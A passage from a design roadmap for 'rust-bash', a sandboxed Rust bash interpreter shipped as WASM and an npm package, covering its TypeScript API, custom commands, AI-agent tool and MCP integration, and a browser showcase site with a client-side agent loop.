`VirtualCommand::execute()` trait is **synchronous**. In WASM, you cannot block the main thread waiting for a JS `Promise` to resolve. Therefore:\n> - **WASM custom commands must be synchronous** — the callback must return `{ stdout, stderr, exitCode }` directly, NOT a `Promise`.\n> - **napi-rs native addon custom commands can be async** — `ThreadsafeFunction` allows blocking on the Rust side while the JS callback completes asynchronously.\n> - The TypeScript `defineCommand()` API should accept both sync and async signatures, but document that async commands only work with the native addon backend, not in browser WASM.\n\nThe JS callback receives `(args: string[], ctx: CommandContext)` where `CommandContext` includes:\n- `fs`: proxy object with `readFileSync(path)`, `writeFileSync(path, content)`, `readdirSync(path)`, `statSync(path)`, `existsSync(path)`, `mkdirSync(path, opts)`, `rmSync(path, opts)` — mapped to VFS operations\n- `cwd`: current working directory\n- `env`: environment variables as `Record<string, string>`\n- `stdin`: standard input content\n- `exec(command: string)`: callback to execute sub-commands (enables `xargs`-like custom commands)\n\nThis matches just-bash's `defineCommand` context interface, making migration trivial.\n\nThe TypeScript API:\n```typescript\nimport { Bash, defineCommand } from 'rust-bash';\n\nconst hello = defineCommand(\"hello\", async (args, ctx) => {\n  const name = args[0] || \"world\";\n  return { stdout: `Hello, ${name}!\\n`, stderr: \"\", exitCode: 0 };\n});\n\nconst bash = new Bash({ customCommands: [hello] });\nawait bash.exec(\"hello Alice\"); // \"Hello, Alice!\\n\"\n```\n\n**Tests**: Test custom commands with pipes, redirections, and sub-command execution.\n\n**Docs**: Update `docs/recipes/custom-commands.md` with JS/TS examples.\n\n### 1.4 — WASM Build Pipeline and Optimization\n\n- **Build script**: `scripts/build-wasm.sh` that runs:\n  ```bash\n  cargo build --target wasm32-unknown-unknown --features wasm --no-default-features --release\n  wasm-bindgen target/wasm32-unknown-unknown/release/rust_bash.wasm \\\n    --out-dir pkg --target bundler\n  wasm-opt pkg/rust_bash_bg.wasm -Oz -o pkg/rust_bash_bg.wasm  # optional\n  ```\n- **wasm-opt**: Integrate `wasm-opt` for size optimization (`-Oz` flag). Target < 1MB gzipped.\n- **Feature-gated heavy commands**: If binary is too large, feature-gate `jaq` (jq), `similar` (diff), `regex` behind cargo features that can be opted out of for minimal WASM builds.\n- **CI**: Add GitHub Actions job for WASM build + size tracking.\n\n**Tests**: Verify WASM binary loads and executes basic commands in both Node.js and browser environments.\n\n**Docs**: Update README.md \"Roadmap\" section, update `docs/guidebook/08-integration-targets.md`.\n\n---\n\n## Phase 2: npm Package\n\n**Goal**: Publish `rust-bash` — a TypeScript-first npm package with API parity (and beyond) vs just-bash.\n\n### 2.1 — Package Scaffolding\n\nCreate `packages/core/` directory structure:\n```\npackages/\n└── core/\n    ├── package.json\n    ├── tsconfig.json\n    ├── src/\n    │   ├── index.ts          # Main entry (Node.js: native addon, fallback: WASM)\n    │   ├── browser.ts        # Browser entry (WASM only)\n    │   ├── bash.ts           # Bash class wrapper\n    │   ├── types.ts          # TypeScript types\n    │   ├── custom-commands.ts # defineCommand()\n    │   ├── tool.ts           # Tool definitions, handler factory, schema formatters\n    │   ├── wasm-loader.ts    # WASM initialization\n    │   └── native-loader.ts  # napi-rs addon loading\n    ├── wasm/                  # WASM artifacts (built)\n    ├── native/                # Native addon artifacts (built)\n    └── test/\n        ├── bash.test.ts\n        ├── custom-commands.test.ts\n        ├── tool.test.ts\n        └── browser.test.ts\n```\n\npackage.json:\n```json\n{\n  \"name\": \"rust-bash\",\n  \"version\": \"0.1.0\",\n  \"type\": \"module\",\n  \"exports\": {\n    \".\": {\n      \"browser\": \"./dist/browser.js\",\n      \"import\": \"./dist/index.js\",\n      \"require\": \"./dist/index.cjs\"\n    },\n    \"./browser\": {\n      \"import\": \"./dist/browser.js\"\n    }\n  },\n  \"types\": \"./dist/index.d.ts\",\n  \"files\": [\"dist/\", \"wasm/\", \"native/\"]\n}\n```\n\n**Docs**: Add `packages/core/README.md`.\n\n### 2.2 — TypeScript Bash Class (API Design)\n\nThe core `Bash` class wraps either the native addon or WASM module:\n\n```typescript\nexport interface BashOptions {\n  files?: Record<string, string | (() => string) | (() => Promise<string>)>;\n  env?: Record<string, string>;\n  cwd?: string;\n  executionLimits?: Partial<ExecutionLimits>;\n  customCommands?: CustomCommand[];\n  // Features not in just-bash (our advantages):\n  network?: NetworkConfig;    // URL allow-list (just-bash also has this)\n}\n\nexport interface ExecOptions {\n  env?: Record<string, string>;\n  replaceEnv?: boolean;\n  cwd?: string;\n  stdin?: string;\n  signal?: AbortSignal;\n  rawScript?: boolean;\n  args?: string[];\n}\n\nexport interface ExecResult {\n  stdout: string;\n  stderr: string;\n  exitCode: number;\n  env?: Record<string, string>;\n}\n\nexport class Bash {\n  readonly fs: FileSystemProxy;  // Read/write VFS from JS\n\n  constructor(options?: BashOptions);\n  exec(command: string, options?: ExecOptions): Promise<ExecResult>;\n  \n  // Convenience methods (not in just-bash)\n  writeFile(path: string, content: string): void;\n  readFile(path: string): string;\n  getCwd(): string;\n  getCommandNames(): string[];\n  \n  // Transform plugins (like just-bash's AST transform API)\n  registerTransformPlugin(plugin: TransformPlugin): void;\n}\n```\n\nKey design decisions vs just-bash:\n- **Same constructor shape**: `new Bash({ files, env, cwd })` — drop-in replacement\n- **Same exec API**: `bash.exec(cmd, opts)` returns `{ stdout, stderr, exitCode }`\n- **Lazy files support**: `files` values can be `() => string` or `() => Promise<string>` (matches just-bash)\n- **`exec()` is async**: Even though the Rust core is sync, wrapping in `Promise` gives consistent API and allows for future async features\n- **fs proxy**: Expose VFS operations directly (matches just-bash's `bash.fs`)\n\n**Tests**: API compatibility tests ensuring the same scripts produce the same output as just-bash.\n\n**Docs**: Update `docs/recipes/getting-started.md` with npm usage examples.\n\n### 2.3 — Lazy File Loading\n\nImplement lazy file materialization support. When `files` values are functions:\n- Store a placeholder in the VFS\n- On first `read_file`, call the function, cache the result, then return it\n- If the file is written before being read, the lazy callback is never invoked\n\nThis matches just-bash's lazy file API:\n```typescript\nconst bash = new Bash({\n  files: {\n    \"/data/config.json\": '{\"key\": \"value\"}',                           // eager\n    \"/data/large.csv\": () => \"col1,col2\\na,b\\n\",                       // lazy sync\n    \"/data/remote.txt\": async () => (await fetch(\"...\")).text(),        // lazy async\n  },\n});\n```\n\nImplementation: The TS wrapper resolves lazy files before passing to the WASM/native core, with a proxy layer that intercepts VFS reads.\n\n**Tests**: Test lazy loading, caching, and write-before-read behavior.\n\n**Docs**: Update `docs/recipes/filesystem-backends.md` with lazy file examples.\n\n### 2.4 — `defineCommand()` and Custom Command API\n\nTypeScript-side API:\n\n```typescript\nexport interface CommandContext {\n  fs: FileSystemProxy;\n  cwd: string;\n  env: Record<string, string>;\n  stdin: string;\n  exec: (command: string, options?: { cwd: string; stdin?: string }) => Promise<ExecResult>;\n}\n\nexport interface CustomCommand {\n  name: string;\n  execute: (args: string[], ctx: CommandContext) => Promise<ExecResult>;\n}\n\nexport function defineCommand(\n  name: string,\n  execute: (args: string[], ctx: CommandContext) => Promise<ExecResult>,\n): CustomCommand;\n```\n\nThis is API-identical to just-bash's `defineCommand` — existing just-bash custom commands can be used with rust-bash with zero changes.\n\n**Tests**: Port just-bash's `custom-commands.test.ts` patterns.\n\n**Docs**: Update `docs/recipes/custom-commands.md`.\n\n### 2.5 — napi-rs Native Node.js Addon\n\nCreate native bindings via napi-rs for maximum Node.js performance:\n\n```\npackages/core/\n└── native/\n    ├── Cargo.toml        # napi-rs crate\n    ├── src/\n    │   └── lib.rs        # napi-rs bindings\n    └── build.rs\n```\n\nThe napi-rs bindings expose the same API as the WASM bindings:\n- `NativeBash` class with `exec()`, `writeFile()`, `readFile()`, etc.\n- `ThreadsafeFunction` for custom command callbacks\n- Prebuilt binaries for Linux (x64, arm64), macOS (x64, arm64), Windows (x64)\n\nThe TypeScript wrapper auto-detects:\n```typescript\n// src/index.ts\nlet backend: 'native' | 'wasm';\ntry {\n  require.resolve('rust-bash/native');\n  backend = 'native';\n} catch {\n  backend = 'wasm';\n}\n```\n\n**Tests**: Node.js integration tests with both backends.\n\n**Docs**: Document performance characteristics (native vs WASM benchmarks).\n\n### 2.6 — High-Level Convenience API\n\nAdd convenience features to the `Bash` class that enrich the developer experience beyond the basic `exec()` API. These are features found in mature sandbox runtimes, integrated directly into our own API rather than mimicking any vendor's interface:\n\n- **Command filtering**: `commands` option restricts which commands are available per-instance. Critical for least-privilege sandboxing.\n- **Per-exec env/cwd isolation**: `exec()` accepts `env`, `cwd`, `replaceEnv` overrides that are scoped to that execution.\n- **Safe argument passing**: `args` option for additional argv entries that bypass shell parsing (no escaping/splitting/globbing).\n- **Script normalization**: Strip leading whitespace from template literals while preserving heredoc content. `rawScript: boolean` option to disable.\n\n```typescript\nconst bash = new Bash({\n  commands: ['echo', 'cat', 'grep', 'jq'],  // allow-list\n  files: { '/data.json': '{\"key\": \"value\"}' },\n});\n\nconst result = await bash.exec('jq .key /data.json', {\n  env: { LANG: 'en_US.UTF-8' },\n  cwd: '/data',\n});\n```\n\n**Tests**: Test command filtering, per-exec isolation, and script normalization.\n\n**Docs**: Add `docs/recipes/convenience-api.md`.\n\n### 2.7 — Documentation Update (Phase 2)\n\n- Update `README.md`: Add npm installation, TypeScript quick start, `defineCommand` example\n- Update `docs/guidebook/08-integration-targets.md`: Full npm package documentation\n- Add `docs/recipes/wasm-usage.md`: WASM-specific guide\n- Add `docs/recipes/convenience-api.md`: High-level convenience API guide (command filtering, per-exec isolation)\n- Add `docs/recipes/npm-package.md`: npm package guide (Node.js + browser)\n- Add `docs/recipes/migrating-from-just-bash.md`: Migration guide for just-bash users (users evaluating the package need this immediately)\n- Update `docs/recipes/custom-commands.md`: TypeScript examples alongside Rust (note sync requirement for WASM custom commands)\n- Update `docs/recipes/ai-agent-tool.md`: Preview of AI SDK integration\n\n---\n\n## Phase 3: AI SDK Integration\n\n**Goal**: Framework-agnostic AI tool primitives, MCP server mode, and documented recipe adapters for popular frameworks.\n\n### 3.1 — Framework-Agnostic Tool Primitives\n\nExport universal building blocks from `rust-bash` that work with **any** AI agent framework. The core exports a JSON Schema tool definition and a handler factory — no framework dependencies.\n\n```typescript\n// rust-bash — the universal primitive\nimport { bashToolDefinition, createBashToolHandler } from 'rust-bash';\n\n// bashToolDefinition is a plain JSON Schema object:\n// {\n//   name: 'bash',\n//   description: 'Execute bash commands in a sandboxed environment...',\n//   inputSchema: {\n//     type: 'object',\n//     properties: { command: { type: 'string', description: '...' } },\n//     required: ['command'],\n//   },\n// }\n\n// createBashToolHandler returns a framework-agnostic handler:\nconst { handler, definition, bash } = createBashToolHandler({\n  files: { '/data.txt': 'hello world' },\n  maxOutputLength: 10000,\n});\n\n// handler: (args: { command: string }) => Promise<{ stdout, stderr, exitCode }>\nconst result = await handler({ command: 'grep hello /data.txt' });\n```\n\n#### Usage with any framework (recipe examples)\n\n**OpenAI API (direct — no adapter needed):**\n```typescript\nimport OpenAI from 'openai';\nimport { createBashToolHandler, bashToolDefinition } from 'rust-bash';\n\nconst { handler } = createBashToolHandler({ files: myFiles });\nconst openai = new OpenAI();\n\nconst response = await openai.chat.completions.create({\n  model: 'gpt-4o',\n  tools: [{\n    type: 'function',\n    function: {\n      name: bashToolDefinition.name,\n      description: bashToolDefinition.description,\n      parameters: bashToolDefinition.inputSchema,\n    },\n  }],\n  messages: [{ role: 'user', content: 'List files in /data' }],\n});\n\n// In tool call dispatch:\nconst toolArgs = JSON.parse(toolCall.function.arguments);\nconst result = await handler(toolArgs);\n```\n\n**Anthropic API (direct):**\n```typescript\nimport Anthropic from '@anthropic-ai/sdk';\nimport { createBashToolHandler, bashToolDefinition } from 'rust-bash';\n\nconst { handler } = createBashToolHandler({ files: myFiles });\nconst anthropic = new Anthropic();\n\nconst response = await anthropic.messages.create({\n  model: 'claude-sonnet-4-20250514',\n  tools: [{\n    name: bashToolDefinition.name,\n    description: bashToolDefinition.description,\n    input_schema: bashToolDefinition.inputSchema,\n  }],\n  messages: [{ role: 'user', content: 'List files in /data' }],\n});\n```\n\n**Vercel AI SDK (recipe — ~8 lines):**\n```typescript\nimport { tool } from 'ai';\nimport { z } from 'zod';\nimport { createBashToolHandler } from 'rust-bash';\n\nconst { handler } = createBashToolHandler({ files: myFiles });\nconst bashTool = tool({\n  description: 'Execute bash commands in a sandbox',\n  parameters: z.object({ command: z.string() }),\n  execute: async ({ command }) => handler({ command }),\n});\n```\n\n**LangChain.js (recipe — ~8 lines):**\n```typescript\nimport { tool } from '@langchain/core/tools';\nimport { z } from 'zod';\nimport { createBashToolHandler } from 'rust-bash';\n\nconst { handler, definition } = createBashToolHandler({ files: myFiles });\nconst bashTool = tool(\n  async ({ command }) => JSON.stringify(await handler({ command })),\n  { name: definition.name, description: definition.description, schema: z.object({ command: z.string() }) },\n);\n```\n\n**Key design decision**: Framework adapters are documented as recipes (~8 lines each), NOT shipped as separate packages with hard dependencies. This keeps `rust-bash` dependency-free (no `ai`, no `zod`, no `@langchain/*`) and works with any framework, including future ones we haven't heard of yet.\n\n**Tests**: Validate JSON Schema output matches OpenAI and Anthropic tool calling specs. Integration tests with `openai` npm package.\n\n**Docs**: `docs/recipes/ai-agent-tool.md` with recipes for every major framework.\n\n### 3.2 — Convenience Schema Formatters\n\nWhile the raw `bashToolDefinition` JSON Schema works with every provider, export optional convenience formatters for the most common wire formats:\n\n```typescript\nimport { bashToolDefinition, formatToolForProvider } from 'rust-bash';\n\n// These are thin wrappers — no external dependencies\nconst openaiTool = formatToolForProvider(bashToolDefinition, 'openai');\n// { type: \"function\", function: { name: \"bash\", description: \"...\", parameters: {...} } }\n\nconst anthropicTool = formatToolForProvider(bashToolDefinition, 'anthropic');\n// { name: \"bash\", description: \"...\", input_schema: {...} }\n\nconst mcpTool = formatToolForProvider(bashToolDefinition, 'mcp');\n// { name: \"bash\", description: \"...\", inputSchema: {...} }\n```\n\nAlso export a `handleToolCall(bash, toolName, args)` helper for easy integration into custom agent loops — this dispatches to the correct handler based on tool name (`bash`, `readFile`, `writeFile`, `listDirectory`).\n\n**Tests**: Validate each format against provider specs.\n\n**Docs**: Add examples for direct API usage with each provider.\n\n### 3.3 — MCP Server Mode\n\nAdd `--mcp` flag to the CLI binary (`rust-bash --mcp`). This launches an MCP (Model Context Protocol) server over stdio using JSON-RPC, making rust-bash instantly available to any MCP-compatible client — Claude Desktop, ChatGPT, Cursor, VS Code, Windsurf, Cline, and the OpenAI Agents SDK (`HostedMCPTool`).\n\n**Exposed MCP tools:**\n- `bash` — execute commands (accepts `{ command: string }`)\n- `write_file` — write content to VFS (accepts `{ path, content }`)\n- `read_file` — read file from VFS (accepts `{ path }`)\n- `list_directory` — list directory contents (accepts `{ path }`)\n\n**Configuration (in any MCP client):**\n```json\n{\n  \"mcpServers\": {\n    \"rust-bash\": {\n      \"command\": \"rust-bash\",\n      \"args\": [\"--mcp\"],\n      \"env\": {}\n    }\n  }\n}\n```\n\n**Implementation options**: Use an existing Rust MCP SDK crate (e.g., `rmcp`) or implement the minimal subset directly — the protocol is simple JSON-RPC over stdio with just `tools/list` and `tools/call` methods needed.\n\nThe MCP server reuses the same `RustBash` core and `bashToolDefinition` schema as the npm package — single source of truth for tool definitions.\n\n**Tests**: Test MCP protocol handshake, tool listing, and tool execution via stdio.\n\n**Docs**: Add `docs/recipes/mcp-server.md` with setup instructions for Claude Desktop, Cursor, and VS Code.\n\n### 3.4 — Documentation Update (Phase 3)\n\n- Update `README.md`: AI tool integration section (framework-agnostic, MCP, recipe examples)\n- Add `docs/recipes/ai-agent-tool.md`: Complete guide with recipes for OpenAI, Anthropic, Vercel AI SDK, LangChain\n- Add `docs/recipes/mcp-server.md`: MCP server setup guide\n- Update `docs/guidebook/08-integration-targets.md`: AI SDK section with actual API\n\n---\n\n## Phase 4: Showcase Website ✅\n\n**Goal**: Build an interactive showcase website at `examples/website/` (deployed on Cloudflare Pages, $0/month) that demonstrates rust-bash running in the browser, inspired by [justbash.dev](https://justbash.dev).\n\n### Architecture\n\n```\n+------------------------------------------------------------------+\n|                          BROWSER                                 |\n|  +-----------+    +------------+    +------------------+         |\n|  |  Custom    |-->| rust-bash  |-->| Virtual FS       |         |\n|  |  Terminal  |   | (WASM)     |   | (in-memory)      |         |\n|  +-----------+    +------------+    +------------------+         |\n|       |                  ^                                       |\n|       | `agent` cmd      | tool_call detected in stream →       |\n|       v                  | execute bash locally via WASM         |\n|  +--------------------------------------------------+           |\n|  |        Client-side agent loop                     |           |\n|  |  1. POST messages to CF Worker                    |           |\n|  |  2. Parse SSE stream                              |           |\n|  |  3. On tool_call → exec via WASM → send result    |           |\n|  |  4. Repeat until final text response              |           |\n|  +--------------------------------------------------+           |\n+------------------------------|-----------------------------------+\n                               | HTTPS (SSE stream)\n                               v\n+------------------------------------------------------------------+\n|                    CLOUDFLARE WORKER (~30 lines)                  |\n|  +----------------+    +------------------+                      |\n|  | Rate limiter   |--->| Proxy to Gemini  |                      |\n|  | (10 req/min/IP)|    | API (streaming)  |                      |\n|  +----------------+    +------------------+                      |\n|                         API key in Worker secret                 |\n+------------------------------------------------------------------+\n                               |\n                               v\n+------------------------------------------------------------------+\n|          GOOGLE GEMINI 3.1 FLASH LITE PREVIEW                    |\n|        OpenAI-compatible endpoint, function calling + SSE        |\n|  Fallback: Cloudflare Workers AI / Groq (configurable)           |\n+------------------------------------------------------------------+\n```\n\nKey architectural decisions:\n- **Tool execution is client-side.** The LLM streams a response; when the client detects a `tool_call`, it executes the bash command locally via the already-loaded WASM module. No server-side bash execution needed — the Worker is a pure proxy.\n- **Conversation state lives in the browser.** The client accumulates `messages[]` and sends the full history each request. The Worker is stateless.\n- **Multi-provider fallback.** The Worker can be configured to cycle between Gemini (primary) and Cloudflare Workers AI or Groq (fallback) when rate limits are hit. Provider selection is a single env var change.\n\n### 4.1 — Static Site Scaffolding\n\nCreate `examples/website/` as a static site deployed on **Cloudflare Pages**:\n```\nexamples/website/\n├── package.json              # Vite + rust-bash + @xterm/xterm\n├── tsconfig.json\n├── vite.config.ts            # WASM loading, static build\n├── tailwind.config.ts\n├── wrangler.toml             # Cloudflare Pages + Worker config\n├── src/\n│   ├── index.html            # Single page\n│   ├── main.ts               # Entry point — matrix rain transition + boot sequence\n│   ├── terminal.ts           # xterm.js integration + rust-bash WASM bridge\n│   ├── agent.ts              # Client-side agent loop (tool call detection, WASM exec)\n│   ├── cached-initial-response.ts  # Hand-crafted AgentEvent[] for first-load demo\n│   ├── styles.css            # Terminal styles, dark/light mode\n│   └── content.ts            # Preloaded file content for VFS\n├── functions/\n│   └── api/\n│       └── chat.ts           # Cloudflare Pages Function (Worker) — LLM proxy\n├── public/\n│   └── favicon.ico\n└── scripts/\n    └── generate-content.mjs  # Build-time content generation\n```\n\n**Key decisions**:\n- **Vite over Next.js**: This is a static SPA — no SSR, no API routes, no React needed. Vite is simpler, faster builds, and produces a clean static output. The only \"backend\" is a Cloudflare Pages Function (Worker).\n- **xterm.js for terminal rendering**: Use `@xterm/xterm` + `@xterm/addon-fit` + `@xterm/addon-web-links` (~130KB gzipped). Terminal fidelity is table stakes for showcasing a bash interpreter — ANSI color output from `ls --color`, `grep --color`, `awk`, cursor movement for tab completion, selection + copy/paste, scroll-back buffer, accessibility. A custom lite-terminal would be XL effort and still have bugs. justbash.dev itself uses xterm.js. The WASM binary (~1-1.5MB gzipped) dwarfs the xterm.js cost; saving 130KB doesn't meaningfully change the loading experience.\n- **Fira Mono font**: Fits the matrix/hacker terminal aesthetic. Better character distinction at small sizes than Geist Mono.\n- **Dark/light mode**: Respect `prefers-color-scheme`.\n- **Tailwind CSS**: For utility styling.\n- **Cloudflare Pages Functions**: The `functions/` directory auto-deploys as Workers — no separate Worker deployment needed.\n\n**Deployment**: `npx wrangler pages deploy dist/` or automatic via GitHub integration.\n\n**Tests**: Build succeeds, lighthouse performance score > 90.\n\n**Docs**: `examples/website/README.md` with setup instructions.\n\n### 4.2 — Browser Terminal with rust-bash WASM\n\nThe terminal is the entire UI. xterm.js handles rendering; a thin integration layer bridges keystrokes to rust-bash WASM.\n\n**Dependencies**: `@xterm/xterm`, `@xterm/addon-fit` (auto-resize), `@xterm/addon-web-links` (clickable URLs).\n\n**Architecture**: The user and the agent share the **same `Bash` instance and VFS**. The agent creates a file → the user can `cat` it. The user creates files → the agent can process them. One shell, one VFS, one history. This shared state is the killer UX.\n\n#### Loading Sequence — Matrix Rain Transition\n\nThe matrix rain (from the current coming-soon page) becomes a **loading transition**, not a permanent background:\n\n```\nT=0.0s  Page load. Matrix rain fills the screen (green katakana/code, full opacity, dramatic).\n        WASM + xterm.js load in background.\nT=1.5s  WASM ready. Matrix rain crossfades out (opacity 0.8s ease-out), terminal fades in.\n        Matrix canvas removed from DOM, animation loop cancelled (free memory).\nT=2.0s  Clean terminal visible. Welcome screen rendered. Typing animation begins.\n```\n\nThe rain IS the loading indicator — dramatic entry, zero spinners. CRT scanlines removed for the interactive terminal (they interfere with xterm.js canvas rendering). The green-on-black theme carries forward into the terminal itself.\n\n#### Terminal Setup\n\n```typescript\n// src/terminal.ts\nimport { Terminal } from '@xterm/xterm';\nimport { FitAddon } from '@xterm/addon-fit';\nimport { WebLinksAddon } from '@xterm/addon-web-links';\nimport { Bash } from 'rust-bash/browser';\nimport { runAgentLoop } from './agent';\nimport { CACHED_INITIAL_RESPONSE, replayCache } from './cached-initial-response';\n\nconst term = new Terminal({\n  fontFamily: \"'Fira Mono', 'JetBrains Mono', 'Cascadia Code', monospace\",\n  fontSize: 14,\n  theme: {\n    background: '#0a0a0a',\n    foreground: '#b0ffb0',      // Soft green-tinted white for body text (readable)\n    cursor: '#00ff41',           // Bright green cursor — the one bright accent\n    cursorAccent: '#0a0a0a',\n    selectionBackground: '#00ff4133',\n    green: '#00ff41',            // For prompt, highlights\n    cyan: '#00d4ff',             // Agent commands\n    red: '#ff4444',              // stderr\n    yellow: '#ffcc00',           // warnings\n    blue: '#5af',                // links\n  },\n  cursorBlink: true,\n});\nconst fitAddon = new FitAddon();\nterm.loadAddon(fitAddon);\nterm.loadAddon(new WebLinksAddon());\nterm.open(document.getElementById('terminal')!);\nfitAddon.fit();\n\nconst bash = new Bash({\n  files: {\n    '/home/user/README.md': readmeContent,\n    '/home/user/package.json': packageJson,\n    // ... project files loaded at build time\n  },\n  cwd: '/home/user',\n});\n\n// Line buffer for input handling\nlet lineBuffer = '';\n\nasync function handleInput(line: string) {\n  const trimmed = line.trim();\n  if (!trimmed) { showPrompt(); return; }\n\n  // Intercept `agent` command at the terminal layer (before WASM)\n  if (trimmed.startsWith('agent ') || trimmed === 'agent') {\n    const query = trimmed.slice(6).trim().replace(/^[\"']|[\"']$/g, '');\n    if (!query) {\n      term.writeln('Usage: agent \"your question\"');\n      term.writeln('Example: agent \"is this the matrix?\"');\n      showPrompt();\n      return;\n    }\n    await handleAgentQuery(query);\n  } else {\n    // Normal bash command — execute via WASM\n    const result = bash.exec(trimmed);\n    if (result.stdout) term.write(result.stdout);\n    if (result.stderr) term.write(`\\x1b[31m${result.stderr}\\x1b[0m`);\n  }\n  showPrompt();\n}\n\nasync function handleAgentQuery(query: string) {\n  term.writeln('');\n  for await (const event of runAgentLoop(query, bash)) {\n    renderAgentEvent(event);\n  }\n  term.writeln('');\n}\n\nfunction renderAgentEvent(event: AgentEvent) {\n  switch (event.type) {\n    case 'text':\n      term.write(event.content);\n      break;\n    case 'tool_call':\n      // Indented + dimmer to distinguish from user commands\n      term.writeln('');\n      term.writeln(`  \\x1b[2m$\\x1b[0m \\x1b[36m${event.command}\\x1b[0m`);\n      if (event.result.stdout) {\n        const lines = event.result.stdout.split('\\n');\n        const shown = lines.slice(0, 50);\n        for (const line of shown) term.writeln(`  ${line}`);\n        if (lines.length > 50) {\n          term.writeln(`  \\x1b[2m... (${lines.length - 50} more lines)\\x1b[0m`);\n        }\n      }\n      if (event.result.stderr) {\n        term.writeln(`  \\x1b[31m${event.result.stderr}\\x1b[0m`);\n      }\n      term.writeln('');\n      break;\n  }\n}\n\nfunction showPrompt() {\n  term.write('\\x1b[32m🦀 rust-bash\\x1b[0m:\\x1b[36m~\\x1b[0m$ ');\n}\n```\n\n#### Welcome Screen + Auto-Run Initial Command\n\nThe welcome screen renders inside xterm.js (not a separate HTML layer). Figlet-style ASCII art for dramatic impact, matching the matrix aesthetic:\n\n```\n                     __  __               __\n    _______  _______/ /_/ /_  ____ ______/ /_\n   / ___/ / / / ___/ __/ __ \\/ __ `/ ___/ __ \\\n  / /  / /_/ (__  ) /_/ /_/ / /_/ (__  ) / / /\n /_/   \\__,_/____/\\__/_.___/\\__,_/____/_/ /_/\n\n 🦀 A sandboxed bash interpreter, built in Rust. Running in your browser via WASM.\n\n 80+ commands · Virtual filesystem · Execution limits · Network sandboxing\n\n Try:  ls              cat README.md         echo '{\"a\":1}' | jq .a\n       grep -r bash .  find / -name \"*.md\"   seq 1 10 | awk '{s+=$1} END{print s}'\n       agent \"is this the matrix?\"\n\n🦀 rust-bash:~$\n```\n\nThen the **initial agent command auto-types and runs**:\n\n```\nT=2.0s  Welcome screen rendered (instant, static text)\nT=2.3s  Prompt appears, typing animation starts: a|ag|age|agen|agent...\n        Speed: 50ms/char with ±12ms jitter (looks like confident fast-typing)\nT=4.5s  Full command visible: agent \"is this the matrix?\"\nT=4.7s  Brief pause (200ms), then \"Enter\" — command executes\nT=4.7s  Cached response begins streaming (typewriter animation)\nT=10-12s  Animation complete, prompt appears, user is in control\n```\n\n#### Cached Initial Response — Zero API Cost on First Load\n\nThe initial `agent \"is this the matrix?\"` response is **hand-crafted and baked into the JS bundle at build time** as an `AgentEvent[]` array. This saves API budget (Gemini free tier) and ensures the first impression is always perfect — no hallucination risk, no latency, no loading.\n\n```typescript\n// src/cached-initial-response.ts (hand-written, committed to repo)\nimport type { AgentEvent } from './agent';\n\nexport const CACHED_INITIAL_RESPONSE: AgentEvent[] = [\n  { type: 'text', content: \"Close, but no. You're inside \" },\n  { type: 'text', content: \"rust-bash — and it's all around you.\\n\\n\" },\n  { type: 'text', content: \"Let me show you...\\n\\n\" },\n  { type: 'tool_call', command: 'ls', result: {\n    stdout: 'README.md  Cargo.toml  src/  docs/  examples/\\n', stderr: '', exitCode: 0\n  }},\n  { type: 'tool_call', command: 'echo \"hello from WASM\" | sed s/WASM/the\\\\ matrix/', result: {\n    stdout: 'hello from the matrix\\n', stderr: '', exitCode: 0\n  }},\n  { type: 'text', content: \"This is a full bash interpreter built in Rust, compiled to WASM, \" },\n  { type: 'text', content: \"running entirely in your browser. 80+ commands — \" },\n  { type: 'text', content: \"pipes, redirects, awk, sed, jq, grep, find — all real, all local.\\n\\n\" },\n  { type: 'text', content: \"Try `cat README.md` to explore, or ask me to write a script!\" },\n];\n```\n\n**Replay with typewriter animation** — same rendering code as live agent, but with timing:\n\n```typescript\nexport async function* replayCache(\n  events: AgentEvent[],\n  bash?: Bash,\n): AsyncGenerator<AgentEvent> {\n  let interrupted = false;\n  const onInterrupt = () => { interrupted = true; };\n\n  for (const event of events) {\n    if (interrupted) { yield event; continue; } // Skip animation, dump rest instantly\n\n    if (event.type === 'text') {\n      // Simulate LLM streaming: ~15ms per character with slight irregularity\n      for (const char of event.content) {\n        if (interrupted) { yield { type: 'text', content: event.content.slice(event.content.indexOf(char)) }; break; }\n        yield { type: 'text', content: char };\n        await sleep(12 + Math.random() * 8);\n      }\n    } else if (event.type === 'tool_call') {\n      await sleep(100);\n      // Execute the command for real so VFS state is consistent\n      if (bash) bash.exec(event.command);\n      yield event; // Tool calls render as a block (instant)\n      await sleep(300);\n    }\n  }\n\n  return onInterrupt; // Caller wires this to term.onKey\n}\n```\n\n**Key design decisions**:\n- **Hand-written, not LLM-generated**: The initial demo is marketing — it should be perfect and deterministic. No API call needed. Commit it to the repo.\n- **Same `AgentEvent[]` type as live agent**: Terminal rendering has zero branching between cached and live responses.\n- **VFS execution during replay**: Tool calls in the cached response are executed for real against WASM, so `ls` shows the same files the agent mentioned.\n- **Interruption**: If the user types during animation, skip remaining animation and dump output instantly. Don't cancel — they might want to see the rest.\n- **WASM race condition**: The typing animation (~2.3s) buys time for WASM to load. The cached text animation can even start before WASM is ready — only tool call VFS execution needs WASM, and those are queued in the background.\n\nThe \"is this the matrix?\" command ties perfectly into the matrix rain loading screen — users see the rain, then the terminal emerges, then the first thing the agent says is answering that exact question. Full thematic arc.\n\n**The `agent` command**:\n- `agent \"your question\"` — explicit invocation, not a mode switch. It's just a command.\n- No auto-detection of natural language. `find all python files` should never be ambiguous — in a terminal, what you type is what runs.\n- `agent` with no args → shows usage and examples.\n- The agent's tool calls modify the shared Bash/VFS instance, so after `agent \"create a fibonacci script\"`, the user can `cat fib.sh` and see it.\n- Up arrow recalls previous agent queries too (they're in the same history).\n\n**Tool call rendering** — the critical UX pattern (matching justbash.dev style):\n```\n🦀 rust-bash:~$ agent \"what can you do?\"\n\n🤖 Let me check what's available in this environment...\n\n  $ help                                        ← indented, dimmer $\n  Built-in commands: echo, cat, grep, awk, sed, jq, curl, ...\n\n  $ find / -name \"*.sh\"\n  /examples/demo.sh\n  /examples/fibonacci.sh\n\nI can run 80+ bash commands right here in your browser...\n\n🦀 rust-bash:~$\n```\n\nRendering rules:\n1. **LLM streaming text** → render inline as it arrives\n2. **Tool call** → render indented: `  $ command` (dim `$`, cyan command) + indented output\n3. **Output truncation** → first 50 lines shown, remainder summarized as `... (N more lines)`\n4. **Multiple sequential tool calls** → show each as it happens, in sequence\n5. **Visual distinction** → agent-run commands are indented 2 spaces with dimmer `$` so users instantly distinguish \"command I ran\" from \"command the agent ran\"\n\n**Interactive features**:\n- Command history (up/down arrows) — shared between bash commands and agent queries\n- Tab completion for command names (including `agent`)\n- `?agent=` URL parameter for deep-linking to agent queries\n- Selection, copy/paste, scroll-back (all handled by 